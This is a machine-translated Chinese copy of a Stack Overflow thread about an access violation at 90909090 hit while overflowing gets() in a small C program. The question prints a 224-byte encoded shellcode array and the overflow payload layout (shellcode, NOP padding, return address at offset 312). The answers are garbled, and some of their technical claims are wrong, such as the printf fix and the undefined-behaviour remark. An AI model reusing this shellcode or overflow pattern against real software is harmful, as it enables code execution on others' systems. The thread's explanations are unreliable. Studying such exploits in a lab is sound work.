免疫力调试错误：“访问冲突读取时[90909090]”

我得到这个错误免疫力调试器：免疫力调试错误：“访问冲突读取时[90909090]”

访问冲突读取[90909090]

当我想利用一个简单的c代码：我给它一个重写返回地址的长输入，当它跳转到新的返回地址并开始运行我的shellcode时，我得到错误。

这是我的C代码：

#include <stdio.h> 

int main(int argc ,char** argv) 
{ 
    int cookie; 
    char buffer[300]; 
    printf(" buffer : %08x\r\n",&buffer); 
    gets(buffer); 
    return 0; 
}

，这是我的shellcode：

0xbd,0xec,0xf4,0xe7,0x5a,0xdb,0xd2,0xd9,0x74,0x24,0xf4,0x58, 
0x31,0xc9,0xb1,0x32,0x31,0x68,0x12,0x03,0x68,0x12,0x83,0x2c, 
0xf0,0x05,0xaf,0x50,0x11,0x40,0x50,0xa8,0xe2,0x33,0xd8,0x4d, 
0xd3,0x61,0xbe,0x06,0x46,0xb6,0xb4,0x4a,0x6b,0x3d,0x98,0x7e, 
0xf8,0x33,0x35,0x71,0x49,0xf9,0x63,0xbc,0x4a,0xcf,0xab,0x12, 
0x88,0x51,0x50,0x68,0xdd,0xb1,0x69,0xa3,0x10,0xb3,0xae,0xd9, 
0xdb,0xe1,0x67,0x96,0x4e,0x16,0x03,0xea,0x52,0x17,0xc3,0x61, 
0xea,0x6f,0x66,0xb5,0x9f,0xc5,0x69,0xe5,0x30,0x51,0x21,0x1d, 
0x3a,0x3d,0x92,0x1c,0xef,0x5d,0xee,0x57,0x84,0x96,0x84,0x66, 
0x4c,0xe7,0x65,0x59,0xb0,0xa4,0x5b,0x56,0x3d,0xb4,0x9c,0x50, 
0xde,0xc3,0xd6,0xa3,0x63,0xd4,0x2c,0xde,0xbf,0x51,0xb1,0x78, 
0x4b,0xc1,0x11,0x79,0x98,0x94,0xd2,0x75,0x55,0xd2,0xbd,0x99, 
0x68,0x37,0xb6,0xa5,0xe1,0xb6,0x19,0x2c,0xb1,0x9c,0xbd,0x75, 
0x61,0xbc,0xe4,0xd3,0xc4,0xc1,0xf7,0xbb,0xb9,0x67,0x73,0x29, 
0xad,0x1e,0xde,0x27,0x30,0x92,0x64,0x0e,0x32,0xac,0x66,0x20, 
0x5b,0x9d,0xed,0xaf,0x1c,0x22,0x24,0x94,0xd3,0x68,0x65,0xbc, 
0x7b,0x35,0xff,0xfd,0xe1,0xc6,0xd5,0xc1,0x1f,0x45,0xdc,0xb9, 
0xdb,0x55,0x95,0xbc,0xa0,0xd1,0x45,0xcc,0xb9,0xb7,0x69,0x63, 
0xb9,0x9d,0x09,0xe2,0x29,0x7d,0xce

壳具有224字节长度和返回地址是上偏移312，所以我的输入具有以下格式：

shellcode+'\x90'*88+ReturnAddress

来源

2013-07-29 Sani

在你的shellcode中，我注意到中间第二行有一个“缺失”（，）。它应该错过那个吗？还是在复制/粘贴过程中丢失了？我希望你不要介意我编写“Shell代码” –

Oo，如果原始代码中存在该错误，我怀疑它会导致问题。 –

@DavidRobertsson - 据我所知，逗号被你错误地删除了：http://stackoverflow.com/posts/17923253/revisions我更正了，同时批准了编辑，并做了一些更改。如果我犯了一个错误，请让我知道，或提交另一个编辑。谢谢！ – Kobi

printf()说法错误的是在你的代码，一个& NU牛逼需要：

printf(" buffer : %08x\r\n", &buffer); 
          ^ remove

接下来，你char buffer[300];有垃圾值，即使你删除&，它会导致一个未定义的行为。

注意：正如David RF注意到您正在使用已弃用的gets()。您应该使用char * fgets (char * str, int num, FILE * stream);函数来避免缓冲区溢出攻击。

bwt，它是第一次读取用户读取之前缓冲区为printf的程序！（为什么这样？）

来源

2013-07-29 11:52:10

+1，此外打印一个未初始化的缓冲区的值，必须'得到'（不推荐使用，使用'fgets'代替）打印 –

好吧，感谢您的回答 – Sani

@DavidRF是我失踪的优秀点。 –

免疫力调试错误：“访问冲突读取时[90909090]”

回答

相关问题